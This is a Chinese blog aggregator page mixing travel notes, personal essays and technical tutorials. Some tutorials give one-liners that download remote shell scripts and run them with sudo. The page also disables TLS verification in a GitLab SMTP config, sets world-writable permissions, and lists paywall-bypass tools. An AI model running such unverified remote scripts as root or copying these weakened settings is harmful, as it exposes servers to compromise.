一进门是富士、滨田英明和迪士尼合作的特展,日式小清新的风格,主角是米奇米妮。比较商业化的主题,头套模特,很难捕捉到其中的情绪,感觉没有挖掘出滨田英明的优势。往里走有富士老相机的展柜和一组老照片特展,还有现售相机的陈列柜。

感觉还是国内的 XSpace 经营的更细腻一些,空间更大,讲座和活动也更多。

IMG_2355.jpeg

Pooploop

FUJIFILM SQUARE 隔壁是三得利美术馆,但当下主题不是很感兴趣,就直接去了安藤忠雄设计的 21 21 design sight,灵感来源与三宅一生,也算是梦幻联动。

经典的清水混凝土风格和公园融为一体,70%空间隐匿于地下。

门票是一张蓝色的贴纸,刚好和我那天的外套一个颜色,喜欢这种淡淡的巧合。

展览名称是 pooploop,与排泄、废物、发酵、循环等相关,恰好是我很感兴趣的领域。布展质量很高,逛起来也舒适。

小缺点是展馆太小,不尽兴。

逛完之后,在公园里坐了很久,享受了那本《Forever Saul Leiter》。

秋冬交际之时,东京的天气真是很舒服,站起来伸个懒腰继续逛。

IMG_2374.jpeg

THE NATIONAL ART CENTER, TOKYO

出了 21 21 design sight,稍走10分钟,就是国立新美术馆。

一楼的两个展有很鲜明的对照,一个是大学生群展,另一个是个人艺术家的群展。

个人艺术家那边,每个展位个性都很鲜明,逛得眼花缭乱。

大学生那边则是整齐的平面海报设计,逛起来舒适度高一些。个人对更喜欢大学生那边鲜活的力量感,和偏近现代的风格。

个人感觉群展多,也说明当地艺术生态很健康,喜欢这种热闹的感觉。

Banksy

去看 YOSIGO 的路上,刚好遇到了一个小小的 Banksy 个展。

Banksy 是一位匿名的英国涂鸦艺术家。年初的时候刚好去了他的故乡布里斯托,看了几幅他的街头涂鸦。

感觉冥冥中与他有些缘分,就逛了下。

3幅画 + 一段视频 + 一个标志性的红气球,300日元。价格算不上贵,但内容是真的有点少。

YOSIGO

YOSIGO 就在 Banksy 的楼上,是我喜欢的风格。

西班牙摄影师,喜欢捕捉地中海沿岸的风景和人文场景。

内容很丰富,有多个分区,拍摄对象各有不同,但艺术风格是统一的。

门票刚好和我的钱包同一颜色,一天之后有两次类似的巧合,让人心生愉悦。

IMG_2393.jpeg

如果你近期在东京想逛展,我会推荐:21 21 design sight – Pooploop 和 YOSIGO。

这两个布展质量都很高,逛得很享受。

by Dayu at December 05, 2024 08:59 AM

那些脱口而出的思考

0

前几天和朋友谈起自己性格上的一些转变。

提到「表达自己想吃什么」,这一点,对我而言很重要。

说出这句话时,我其实也没有想清楚。

1

以前跟朋友出门玩或吃饭,我都会说随便,但我真的不在意吗?

那不是在谦让,也非在讨好。

实际上,我似乎觉得我的观点不重要,「自己也不重要」。并让自己变得能够尽可能适应身边的环境,让自己的口味尽可能随便,有更高的包容度。

害怕给他人带来麻烦,担心自己的选择会被否定。我在逃避选择的责任,逃避可能的冲突,逃避表达后的不确定感。

这对我而言,这意味着一种安全感。

我不是没有观点,而是害怕有自己的观点。

表达自己想吃什么,其实代表我开始认为「自己是重要的」,是值得被自己,被身边的人认真对待。

当我开始表达自己的需求和偏好时,实际上是在肯定自我存在的价值。

2

知道自己想吃什么,也很重要。

这意味着,开始认真对待内心的声音,与自己的感官和情绪建立连结,耐心观察每一个微小的需求。

记日记和写博客之后,感觉我越来越能理解自己,了解自身的喜好。

「自我人类学」是很好的实践模版。作者以人类学的视角观察和分析自己的生活,在个人田野笔记中捕捉即时的思想和情感,播下自我发现的种子。

写作和觉察相辅相成,帮助我们在生活中,一点一滴地找回与自己对话的能力。

3

当你真诚地面对生命,不再逃避,不再妥协。

你会发现,你即是你的思绪,你的恐惧,你的习性。没有一个独立于此的「你」在改变自己,观察者即是被观察的对象,你就是这个世界本身。

祝好,

我的朋友们。

by Dayu at December 05, 2024 07:02 AM

December 04, 2024

nbmao

AKile监控面板 Monitor 教程(cf page前端+主控端+被控端)

项目地址:https://github.com/akile-network/akile_monitor
楼主作业:https://aktanzhen.pages.dev/
image

大致通讯结构

image

主控端安装

运行官方一健脚本

wget -O ak-setup.sh "https://raw.githubusercontent.com/akile-network/akile_monitor/refs/heads/main/ak-setup.sh" && chmod +x ak-setup.sh && sudo ./ak-setup.sh

选1安装
image
auth_secret和hook_token在键盘上用脸滚一圈就写好了 xhj003
这里为了最easy的部署tg通知功能先不设置(后期可加)
image
回车↩︎以后主控端就部署完成了,真的是非常easy呢 xhj015

CF Page 前端部署

开启wss(ws+tls)

wss其实也可以通过nginx反代来实现,这里使用cf的原因有两点:
· 简单
· 让被控与主控之间通过赛博活佛连接,可以保障两者之间连通性好,对主控的国际互联要求就不高了

不开启的话会显示websocket连接失败,反面例子如下:
image

我们给部署主控端的VPS来个开小黄云的域名zhukong.example.com

是给解析到主控端VPS并且开启小黄云!zhukong.example.com不是前端的自定义域名!!
image
添加一个Origin Rules,重写到3000端口(即安装主控端的时候设置的主控端程序监听端口),然后点击低下的“部署”
image
image

前端部署

下载前端文件,解压成文件夹
https://github.com/akile-network/akile_monitor_fe/releases/download/v0.0.1/akile_monitor_fe.zip
image
打开config.json文件,填写如下内容,zhukong.example.com换成咱们刚刚搞得开了小黄云的域名

{
  "socket": "wss://zhukong.example.com/ws",
  "apiURL": "https://zhukong.example.com"
}

来到workers and pages,点击创建
image
选择pages,选择上传资产
image
填写项目名,上传文件夹
image
选择我们解压出的那个文件夹
image
然后点击部署,前端就大功告成了! xhj020
image

刚部署完可能要等个一会(几秒到几分钟都有可能)页面才能正常加载出来

被控端安装

依旧是一健脚本:

wget -O ak-setup.sh "https://raw.githubusercontent.com/akile-network/akile_monitor/refs/heads/main/ak-setup.sh" && chmod +x ak-setup.sh && sudo ./ak-setup.sh

选5安装被控
image
Enter URL写 wss://zhukong.example.com/monitor
auth_secret就是我们在安装主控端的时候用脸滚出来的 xhj003
可以在主控端/etc/ak_monitor目录下的config.json里找到
image

Enter name的时候注意,ak识别节点地区的方式是按照name的前两个字符识别的,我这里写HK,那么最后在前端里这个节点上就显示香港的区域旗帜

常见区域旗帜表

区域 旗帜代码 备注 来源解释
中国香港 hk Hong Kong 取自英文 Hong Kong 的缩写
中国澳门 mo Macao 取自英文 Macao 的缩写
中国台湾 tw Taiwan 取自英文 Taiwan 的缩写
英国 gb Great Britain (UK) 取自英文 Great Britain 的缩写
美国 us United States 取自英文 United States 的缩写
加拿大 ca Canada 取自英文 Canada 的缩写
澳大利亚 au Australia 取自英文 Australia 的缩写
新西兰 nz New Zealand 取自英文 New Zealand 的缩写
日本 jp Japan 取自英文 Japan 的缩写
韩国 kr South Korea 取自英文 Korea 的缩写
德国 de Germany 来自德语 Deutschland 的缩写
法国 fr France 取自英文 France 的缩写
意大利 it Italy 取自英文 Italy 的缩写
西班牙 es Spain 来自西班牙语 España 的缩写
俄罗斯 ru Russia 取自英文 Russia 的缩写
印度 in India 取自英文 India 的缩写
巴西 br Brazil 取自英文 Brazil 的缩写
南非 za South Africa 来自荷兰语 Zuid-Afrika 的缩写
新加坡 sg Singapore 取自英文 Singapore 的缩写

使用说明

  • 旗帜代码:依据国际标准 ISO 3166-1 Alpha-2 分配。
  • 来源解释:大多数国家代码基于英文名称缩写,少数基于本地语言(如德国、南非、西班牙)。

by 笨猫 at December 04, 2024 02:13 PM

December 02, 2024

howiehz

开源项目发到 bilibili 后可能获得的 PR

笔者并没有批评以下任何行为,只是通过现有的经验总结可能出现的情况。 希望通过这篇文章能让初次发布开源项目的到视频平台的开发者做好心理准备。 将开源项目发送到视频平台后,你的项目可能获得的 PR 代码全移到 src 目录下 给你项目加上 pre-commit 钩子,然后加上自动格式化,静态类型检查之类

by HowieHz at December 02, 2024 01:33 PM

December 01, 2024

pythoncat

Python 潮流周刊#79:Python 的元数据困境

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则热门讨论,全文 2200 字。
以下是本期摘要:
① 约束是好的:Python 的元数据困境
② Talk Python 网站用 Quart 重写了
③ Python 不仅是胶水,它是一个隐性的 JIT 生态系统
④ Python 类型提示在实践中可能不适合我
⑤ Python 项目管理和打包综合指南:构建与发布
⑥ 2024 年,并发运行 100 万个任务需要多少内存?
⑦ 突破 Streamlit 的界限
⑧ 使用 GitHub Actions 运行 Python 脚本
⑨ 利用 Python 打包求解布尔满足性和整数规划
⑩ 简化 Django 迁移:高效压缩指南
⑪ 累积运算在不同编程语言中的实现
⑫ 不同语言的 10 亿次嵌套循环迭代对比图
① aisuite:为多个生成式 AI 提供简单统一的接口
② opennb:从 GitHub 代码仓或 URL 中打开 Jupyter 笔记本
③ ridgeplot:用 Python 画漂亮的山脊线图
④ Qwen2.5-Coder:阿里云 Qwen 大语言模型的代码版本
⑤ pex: 用于生成 .pex 文件、锁文件和 venv 的工具
⑥ pipe-operator: Elixir 管道运算符的 Python 实现
⑦ Sequoia:A 股自动选股程序
⑧ LLMLLM-Engineers-Handbook:LLM 的实用指南手册
⑨ bbot:面向黑客的互联网扫描仪
⑩ Scraperr:自托管的网络爬虫
⑪ ImportSpy:主动控制模块如何被导入使用
⑫ zerox:由视觉模型支持的 PDF 转 Markdown
① 关于 Python 项目的生产环境部署
② 你最喜欢的 Python 演讲是什么?
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可查看周刊全部内容。第 79 期周刊的全文:https://www.xiaobot.net/post/a2d5f41d-94f4-4b04-b3a4-1de5ffad180e
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

December 01, 2024 12:00 AM

November 29, 2024

greatdk

我在奇绩创坛的三个月

在互联网或创业圈的人对奇绩创坛肯定不会太陌生,但其他行业的很多人则可能是第一次听说这个名字,在此我可以简单介绍一下,奇绩是一家带有孵化器性质的投资机构,每年春秋两季,奇绩会选择大约 50 个项目,对其进行投资,并在接下来的三个月内进行高强度的「孵化」,三个月后会组织一次面对数千投资人的大会(又被称之为 demo day),以尽可能的帮助这些创业项目在更多投资人面前混个脸熟,拿到下一轮融资。

奇绩的前身是 YC 中国,YC 成立于 2005 年,到现在已经投资了超过 3000 家公司,其中最著名的包括 Airbnb,Stripe,Reddit 等等,YC 在 2018 年进入中国,但一年多后因为各种原因宣布退出,此后 YC 中国的合伙人陆奇创办了奇绩创坛,继续以 YC 的方式进行在中国的事业。

提奇绩就不能不提陆奇,陆奇博士有华丽的履历和强大的资源, 横跨数十年中美两国互联网发展的黄金时期,举例来说,2017 年陆奇曾任百度 COO,就定下了聚焦AI 的战略,但随后因为许多原因离开,陆奇博士在百度内的口碑极佳,但作为外人,我对细节知之甚少,只是在这么早的时候就看到了 AI 的潜力并愿意下重注,这一点就足够人钦佩。

奇绩的流程很简单,填写一个(很长的)报名表单之后,会筛选两轮,然后进入面试,面试通过则会获得投资和后续的支持,没通过会鼓励你下次努力。

我在 2020 年我刚开始做面包多,报名了当年的奇绩,但是初筛就未得通过,21 年我又试了一下,依然在面试的环节挂了,面试是在线上进行,包括陆奇在内的四位合伙人一字排开,轮番提问,我觉得我回答的还行,但还是没过。22 年我本来不打算参加,但是当时我们已经开始做新的业务,并且和 AI 相关,奇绩的同学极力劝我报名,于是我又报名了一次,并最终通过,进入了 2022 年秋季的那一期。

我没记错的话,在投资方面,奇绩有一个标准的报价,以 30 万美元或等值人民币换取 7% 的股份,但是对少数阶段靠后或者数据已经起来的项目,也会协商估值和投资金额,我们并没有按照标准协议走,而是根据情况谈了一个新的价格,这并不常见,但是是可能的。

坦白说,我报名奇绩最大的目的就是拿钱,对其他的什么孵化,训练营,demo day 都没有什么兴趣,在我看来这是给钱之外的一些附加服务,属于可有可无的范畴,我就是抱着这个想法进入 2022 年秋季的那一期的。

签署协议后不久,就开营了,当天当期的所有项目的创始人,都聚集到奇绩北京的总部,闹哄哄一大堆人,先听陆奇的演讲,然后互相认识,分组,自我介绍,吃一顿自助餐,然后各回各家。

此后的三个月,我们每周都要线下去奇绩办公室一到两次,参加多个活动,包括 office hour(OH),group office hour(GOH),听嘉宾演讲等等,OH 和 GOH 是最重要和主要的内容,每周大概一两次,在 OH 中,我需要和包括陆奇在内的四位奇绩合伙人一对一聊天,说我的想法,问他们问题,会得到一些建议和帮助,GOH 则是十来个项目的创始人坐一圈,大家轮流汇报自己最近的进度,然后互相提问, 其中也会有一位奇绩的合伙人坐在中间主持,总的来说看上去很像学校课堂,老师带着一群学生巴拉巴拉讲话。

入营后不久,我们被要求对三个月后的 demo day 设定目标,这个目标对不同项目而言是不一样的,有的是产品上线,有的是拿到多少订单,有的则是获得多少用户,每周的讨论也会和这些目标挂钩。

总的来说奇绩的事情就是这些,但我想谈谈我在奇绩遇到的人。

被奇绩选中并不容易,就我那一期而言,大约有 6000 个项目报名,最终选择了 50 个,后来的几期报名的项目超过了 8000 个,最终入选的还是 50 个左右,可以称得上百里挑一,这些被选中的创始人,除了像我这样的非典型的创业老炮,大部分都具备这些特点:年轻,聪明,履历极佳(名校或名企),极富想象力。

和这些创始人相处是很开心的事情,事实上和聪明人相处总是愉快的,我自己是个 I 人,都能认识一些朋友,只要你长着一张嘴,就也会认识很多朋友,这些人和人的链接在奇绩的那三个月里是友好而表层的,但是其中的一些,会在之后的时间里悄然变化,成为一些更深的链接,我自己成为了一些校友(是的,大家会称之为校友)的客户,另一些则为我提供了及时的帮助,据我所知,还有一些更深度的合作和更牢固的友谊。

奇绩的这些项目,即便以我的角度来看,很多也都是天马行空有余而落地执行不足,加之创始人都是年轻人,甚至很多都还尚未离开大学,因此拉出去一通展示,很多人会有嗤之以鼻的心态,这些人明里暗里的表示,奇绩不太行,投的项目不落地,跑出来的没几个,大多数会挂。

我不能说他们是完全错的,从某个角度来说,创业尤其是科技创业,本身就是九死一生的事情,「大多数都会挂」是一个事实,但早期投资,不就应该去支持这些疯狂的理想,愚蠢的天才,不计后果的冒险,以及孤注一掷的决心吗?

奇绩今年正好是第五年,这五年也是资本环境从热闹走向寒冬的五年,当投资市场变得越来越谨慎,融资越来越像贷款,以至于中国创业者要么在国内弹尽粮绝,要么肉身出海谋求出路的时候,单纯还在每年进行足额足量的投资,把钱(虽然不多),给到那些初出茅庐,又野心勃勃的年轻创业者,这就足以表明奇绩的初心从未改变。

我跟我其他创业的朋友说,以前没有感觉,最近两年越来越觉得奇绩像是投融资界的白月光了,大家大笑,疯狂点头——一言以蔽之,我们后来在融资上吃了太多的苦头,回过头来才发现,奇绩填填表就行,合伙人和大家像校园里的相处模式是多么的美好。

奇绩是一家投资机构,当然最重要的是给钱,对我来说是这样,但是客观来说,那些数不清的对谈,围坐,问询,分享,对于那些首次创业的创业者来说,依然是有价值的,实质性的帮助是有的——如何融资,如何打造 PMF,如何找客户,如何避免风险,这些经验往往来自更有经验的人,但另一方面,我觉得更为重要的是,奇绩的创业者圈子,缓解了孤军奋战的孤独感,这里有大量的同类,我对分享没什么兴趣,既不爱说,也不爱听别人说,但我知道这群人的存在,也会觉得有点宽慰。

陆奇是奇绩的创始人,也是精神领袖,大家都称呼他 qi,我对 qi 的看法可能和大多数人不太一样,他正儿八经讲的话我不太记得住,我记得的是有一次我们在工区见面,他说他以前也会画画,小时候还得过画画的奖。我后来查了一下,qi 是 61 年出生的,六张的人了,这让我难以置信,因为我一直以为他四十多岁,还属壮年,没想到已经是退休的岁数了。

作为一个前辈,每个人从 qi 身上学到的东西可能不一样,我更多的是看到了一个可能性,一个人可以很纯粹,很拼的为一个理想而努力,直至六十多岁依然如此,这是何等尽兴的人生。

直至今日,我依然推荐所有第一次创业的创业者报名奇绩,从实际的角度来说,现在融资环境差到没边,找一个能投的机构真的太难了,而奇绩正是为数不多还在投的机构,从另一个角度来说,创业坑太多了,奇绩是真的能够帮你多少避免一些,此外还可以认识很多人,我是个 I 人,也认识了得有大几十个,如果你是个 E 人,那你认识的人可能可以比我多十倍,我说不好认识人有什么用,但对于年轻人,多认识点人总不是坏事。

三个月后,举行了 demo day,在一个巨大的会场,每个项目上台讲 2 分钟精心准备的 PPT,然后回到自己的展位,等待投资人 的光顾,聊得好就加个微信,然后后面再约,聊的不好就换一个,这是一种理想又直接的匹配方式,我当天加了 200 个投资人,把接下来一个月都排满了线上线下的会议,当然,最后没一个要投我。

这其实也是创业者面对的现实,创业者应当对此泰然处之,也有同期校友融资的消息传来,但这三个月结束了,大家都纷纷归于自己的生活,继续开发,销售,融资,碰壁,转型,死亡以及重生。

这就是我在奇绩的三个月,与其说我学到了什么,不如说我看到了一些可能性,感受到了一些生命力,人没必要非得学到点什么才满意,所以我挺满意的。

by DK at November 29, 2024 01:41 AM

November 27, 2024

nbmao

流媒体(奈飞&迪斯尼等)一键修改解锁DNS脚本

更新:V 1.2.1版本,结合大家的建议,
1、重构菜单逻辑;
2、dnsmasq、smartdns支持填写个人解锁IP;
3、增加更新脚本;
4、支持快捷指令:ddns;
5、新增 一键恢复8.8.8.8(解决分流安装失败,无法联网问题);
6、新增dnsmasq、smartdns 更新全量文件,并支持替换为自己的IP;
image

支持操作系统: Debian & Ubuntu

项目简介

该脚本旨在帮助用户通过 流媒体解锁 DNS 实现快速的 DNS 分流与全局 DNS 替换。只需简单的几个步骤,即可轻松配置与解锁 DNS。适用于 VPS 用户,支持一键配置,无需复杂设置。

使用指南

步骤 1: 注册 Alice 账号(适用于没有解锁DNS IP的用户)

  1. 访问 Alice DNS 官网 进行注册。
  2. 在注册后,将您的 VPS IP 地址添加至 Alice 白名单。

    注意:此过程可能需要 3-5 分钟生效。

步骤 2: 运行一键分流脚本

  1. 下载并运行以下脚本:
    wget https://raw.githubusercontent.com/Jimmyzxk/DNS-Alice-Unlock/refs/heads/main/dns-unlock.sh && bash dns-unlock.sh
    
    
    


解锁方式 1-1:DNS 分流模式(dnsmasq)

  1. 在脚本菜单中选择 1
  2. 脚本将自动安装并配置 dnsmasq,实现多媒体流量的智能分流。
  3. 安装过程中会提示是否输入个人解锁IP,回车默认Alice,IP,输入y,填写个人解锁IP 。
    • 适用场景:优化流媒体(如 Netflix、Disney等)访问体验,确保内容加载更快,解锁区域内容。

选择分流区域(SG / HK)

  1. 在脚本菜单中选择 3,进入分流区域选择界面。
  2. 脚本支持自助选择 SG(新加坡) 或 HK(香港) 区域进行分流优化。
    • SG(新加坡):适用于连接东南亚地区的用户,提供更优的路由和速度。
    • HK(香港):适用于连接香港及周边地区的用户,提供稳定且快速的网络连接。
    • 选择完毕后,脚本将根据选择的区域配置合适的分流策略。

解锁方式 1-2:DNS 分流模式(smartdns)

  1. 在脚本菜单中选择 2-1
  2. 按照提示是否替换为个人解锁DNSIP,IP1/2可同一个;
  3. 脚本将自动安装并配置 smartdns,实现多媒体流量的智能分流。
    • 适用场景:优化流媒体(如 Netflix、Disney等)访问体验,确保内容加载更快,解锁区域内容。

解锁方式 2:全局 DNS 替换模式

  1. 在脚本菜单中选择 3-3
  2. 输入自己的解锁IP,一键替换,并锁定resolv.conf文件。
    • 适用场景:需要整体优化网络解析速度,提升所有已解锁自媒体请求。

by 笨猫 at November 27, 2024 01:53 AM

waylau

GitLab SMTP配置网易企业邮箱发送应用邮件

本文介绍如何在GitLab中使用网易企业邮箱配置SMTP服务器。

配置 SMTP 服务器

希望通过一个 SMTP 服务器发送应用邮件,而不是通过 Sendmail 或 Postfix,需要在 /etc/gitlab/gitlab.rb 中添加以下配置信息:

gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.qiye.163.com"
gitlab_rails['smtp_port'] = 465
gitlab_rails['smtp_user_name'] = "gitlab-system@your-company.com"
gitlab_rails['smtp_password'] = "your-smtp-password"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = false
gitlab_rails['smtp_tls'] = true
gitlab_rails['smtp_domain'] = "smtp.qiye.163.com"

gitlab_rails['smtp_openssl_verify_mode'] = 'none'

gitlab_rails['gitlab_email_from'] = 'gitlab-system@your-company.com'
gitlab_rails['gitlab_email_display_name'] = 'GitLab平台'
gitlab_rails['gitlab_email_reply_to'] = 'gitlab-system@your-company.com'

user['git_user_email'] = "gitlab-system@your-company.com"

注意,密码用的是网易授权码;”gitlab-system@your-company.com”是你要配置发送邮件的公共邮箱。

执行sudo gitlab-ctl reconfigure命令使配置生效。

测试 SMTP 配置

可以使用 Rails 控制台验证是否可以正确发送电子邮件。 执行sudo gitlab-rails console命令进入控制台。然后,可以在控制台提示符下输入以下命令,以使系统发送测试电子邮件

Notify.test_email('your-email@your-company.com', 'Message Subject', 'Message Body').deliver_now

如果你的’your-email@your-company.com’邮箱能够收到测试邮件,则证明 SMTP 服务器配置完成。

参考资料

November 27, 2024 12:22 AM

November 25, 2024

howiehz

C/C++:为什么 a[i][j] 等价于 *(*(a+i)+j)

前言 如果你较熟悉前置相关知识可直接跳转 第三章。 初探:指针的 +、-、++、-- 操作 自增操作对于指针所指向地址的影响 编译以下代码 #include <bits/stdc++.h> using namespace std; const int M = 3; int main() {

by HowieHz at November 25, 2024 11:35 AM

anotherdayu

Calibre-web 数据库路径和下载权限 500 Internal Server Error 问题

最近用 Docker 搭建了 Calibre-Web(书籍管理阅读平台),出现了一些问题,以下是解决方案。

Calibre 数据库路径

先是进入网页界面中,需要填写 Calibre 数据库路径,该路径需要进入 Docker 容器内部,创建数据库,并添加写入权限。

先查看容器内目录结构,并进入 bin。

docker exec -it calibre-web sh

ls /

cd bin

创建一个空的数据库。

calibredb add --empty --with-library /books

如果上面的命令成功,则设置正确的权限。

chmod -R 777 /books

初始化数据库。

calibredb add --empty --with-library /books

退出容器。

exit

OPDS

支持 OPDS 的阅读器,能更方便的下载和阅读 Calibre-web 中的书籍。

OPDS link 的正确格式是:http(s)://username:password@ip/hostname:port/opds

ip/hostname:port,也可以是网站域名。

iOS 中推荐 Cantook

CleanShot 2024-11-25 at 14.15.29@2x.png

下载权限问题

在绑定 OPDS 阅读器的时候,我发现无法正常下载书籍,网页版也有相同问题,但仍可以阅读。报错:500 Internal Server Error。

这部分报错是比较新的问题,在 Github issue 中找到了解决方案。与 PUID/PGID 相关,应使用运行 Docker 的用户的 ID,这样可以确保容器内外的权限一致。

重新回到 docker-compose.yml 中,将这两者都设为 1000,再重启 docker 即可解决。

services:  
  calibre-web:    
    environment:      
      - PUID=1000      
      - PGID=1000

by Dayu at November 25, 2024 06:23 AM

2024年的付费墙

免责声明:本文仅用于教育目的。作者不认可或鼓励任何不道德或非法活动。使用此工具的风险由您自行承担。

12ft 是一个帮助用户绕过在线付费墙的插件,2023年被投诉下线之后,这些可以作为替代品:

考虑到工具的稳定性和长期性,我日常使用的是 Webpage archive 、自托管的 Ladder 和 Ublock origin(Firefox版)。

by Dayu at November 25, 2024 03:55 AM

November 24, 2024

anotherdayu

目前使用的 WordPress 插件

以下是我目前使用的WordPress插件,共 11 个:

  • UpdraftPlus,核心备份插件,免费版支持定期备份到 Google Drive。近期迁移了一次,安装好WordPress和该插件,再关联一下 Google 账号即可备份成功,体验很好。
  • Blocksy 主题 + 插件,目前在使用的主题,免费版够用,可自定义选项多,颜值高。
  • Polylang,多语言插件,免费版功能齐全,中英文界面可同时 SEO 索引,增强博客覆盖面。
  • Antispam Bee,屏蔽广告评论。
  • Post SMTP,邮件发送插件,更简单的配置 SMTP。
  • Wenprise Better Emails,提供邮件模板,美化邮件。
  • WP Super Cache,网站缓存插件,提升网站加载速度。
  • WPS Hide Login,安全插件,可以自定义WordPress登录页面URL。
  • Rank Math SEO,SEO 优化插件,增强搜索引擎可见度。
  • Meow Gallery,图片画廊插件。
  • Juicer,社交媒体聚合插件,能为国内用户展示 Twitter 时间线。

目前已有足够的舒适度,之后会偏重稳定性,于是关闭了插件和主题的自动更新。除了安全性更新,尽量不动。

除了 Blocksy,都用的免费版。但 Blocksy 其实也没用到几个付费功能,只是比较喜欢,且长期使用,支持一下。

在 Jack 的帮助下,最近管理面板换成了 1Panel,舒适度比 AMH 要高一些,操作也更简单。

截图留念!

CleanShot 2024-11-24 at 15.52.48@2x.png

by Dayu at November 24, 2024 07:59 AM

waylau

HarmonyOS 3.1/4项目在DevEco Studio 5.0(HarmonyOS NEXT)版本下使用的问题

有读者在使用《鸿蒙HarmonyOS应用开发入门》书中的源码时,遇到了问题。本文总结问题的原因及解决方案。

有读者在使用《鸿蒙HarmonyOS应用开发入门》书中的源码时,遇到了问题。本文总结问题的原因及解决方案。

问题原因

这些问题,本质上是 DevEco Studio 版本不一致导致的。 《鸿蒙HarmonyOS应用开发入门》一书选用的是 DevEco Studio 版本为3.1,而读者使用的是 DevEco Studio 5.0(HarmonyOS NEXT),两者存在兼容性的问题。一些 API 的用法、包的位置发生了更改,甚至有些 API 不再推荐使用做了下线。

解决方案

因此,作为稳妥的方式是,将 学校用的是 DevEco Studio 5.0版本,改为 3.1。这样书中的示例可以完美运行。 DevEco Studio 3.1 下载地址为:https://developer.huawei.com/consumer/cn/archive/

另外一种方式是,按照 DevEco Studio 5.0 版本,对书中的示例,进行逐个更改,改为5.0 版本最新用法。但这样做,显然工作量很大,读者可以根据《HarmonyOS 3.1/4.0应用升级到HarmonyOS NEXT改动点》所列出的整改建议进行整改。

最后一种方案是建议采用《鸿蒙HarmonyOS应用开发入门》的升级版本《鸿蒙之光HarmonyOS NEXT原生应用开发入门》。《鸿蒙之光HarmonyOS NEXT原生应用开发入门》是完全采用DevEco Studio 5.0 版本进行编写的,书中的示例也是能在 DevEco Studio 5.0 版本下运行的。当然,《鸿蒙之光HarmonyOS NEXT原生应用开发入门》对前一版本中的一些不再推荐的API用法示例做了删除。

《鸿蒙之光HarmonyOS NEXT原生应用开发入门》预计2024年12月面世,届时读者可以向出版社索取相关配套资料(包括源码和PPT), 或前往本书的开源社区(https://github.com/waylau/harmonyos-tutorial/)进行下载。

参考资料

November 24, 2024 12:22 AM

November 23, 2024

anotherdayu

公告:博客维护

今天下午 2 点到 9 点之间博客会进行日常维护。

by Dayu at November 23, 2024 03:03 AM

pythoncat

Python 潮流周刊#78:async/await 是糟糕的设计

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,1 则音视频,全文 2200 字。
以下是本期摘要:
① 游乐场智慧:线程击败 Async/Await
② Python 真的很慢吗?
③ Django Async:准备好用于生产环境了吗?
④ 为什么持久执行应该是轻量级的?
⑤ Python 中管道模式——通过重载运算符实现
⑥ FireDucks:Pandas 但速度快 100 倍
⑦ 任何 Python 程序都用 24 个字符装下
⑧ PEP-765:不允许在 finally 块用 return/break/continue 作退出
⑨ CPython 的垃圾回收器及其对程序性能的影响
⑩ 扩展 Django 项目的实用指南
⑪ SQL、同态和约束满足问题
⑫ 使用 GDB 和 DDD,愉快地调试
① pyTermTk:Python 终端工具包
② terminal-tree:终端中的文件系统导航器
③ chdb:进程内 OLAP SQL 引擎
④ open-notebook:谷歌 Notebook LM 的开源替代
⑤ garak:LLM 漏洞扫描
⑥ EasyAnimate:高分辨率和端到端的长视频生成
⑦ ASCII-generator:ASCII 生成器
⑧ leopards:查询 Python 列表
⑨ 分布式系统第 4 版-电子书
⑩ ebook2audiobook:生成带章节的电子书有声读物
⑪ pensieve:完全由你掌控数据的「被动记录」项目
⑫ yami:有简单 UI 的开源音乐播放器
① PyData Tel Aviv 2024 视频列表(24个)
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 78 期周刊的全文:https://www.xiaobot.net/post/ff53f85c-3b96-47fe-b353-592ae532ec75
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

November 23, 2024 12:00 AM

November 21, 2024

meituan

AutoConsis:UI内容一致性智能检测

美团到店研发平台质量工程部与复旦大学计算机学院周扬帆教授团队展开了大前端智能化测试领域的科研合作,从UI界面内容一致性校验入手,并实现了一套自动化智能检测流程,相关论文被软件工程领域具有国际影响力的会议ICSE 2024(CCF-A类会议)的Software In Practice Track(软件工程实践应用)收录。

by 美团技术团队 at November 21, 2024 12:00 AM

November 20, 2024

howiehz

Fast Methods to Convert Uppercase Letters to Lowercase in C++

此文章有中文版本/This article is available in Chinese TL;DR Version Jump to test results: Test Results Summary: Without #pragma GCC optimize, use the followin

by HowieHz at November 20, 2024 08:01 AM

C++ 中快速将字符串大写字母转为小写的方法

此文章有英文版本/This article is available in English 太长不看版 跳转测试结果:测试结果 结论: 如果不开 optimize 使用以下代码进行转换 string strlwr_c_cr(const string& input) { return stri

by HowieHz at November 20, 2024 04:32 AM

November 19, 2024

xiaowuleyi

这社会别把老实人逼到墙角

看到最近发生的很多无缘无故随机的杀人事件。内心很复杂,当然这不应该发生,每个人都应该寻求正常途径来处理自己的问题。可问题,有时候,就出在解决问题的过程中,导致一个问题没解决,反而把问题激化了。
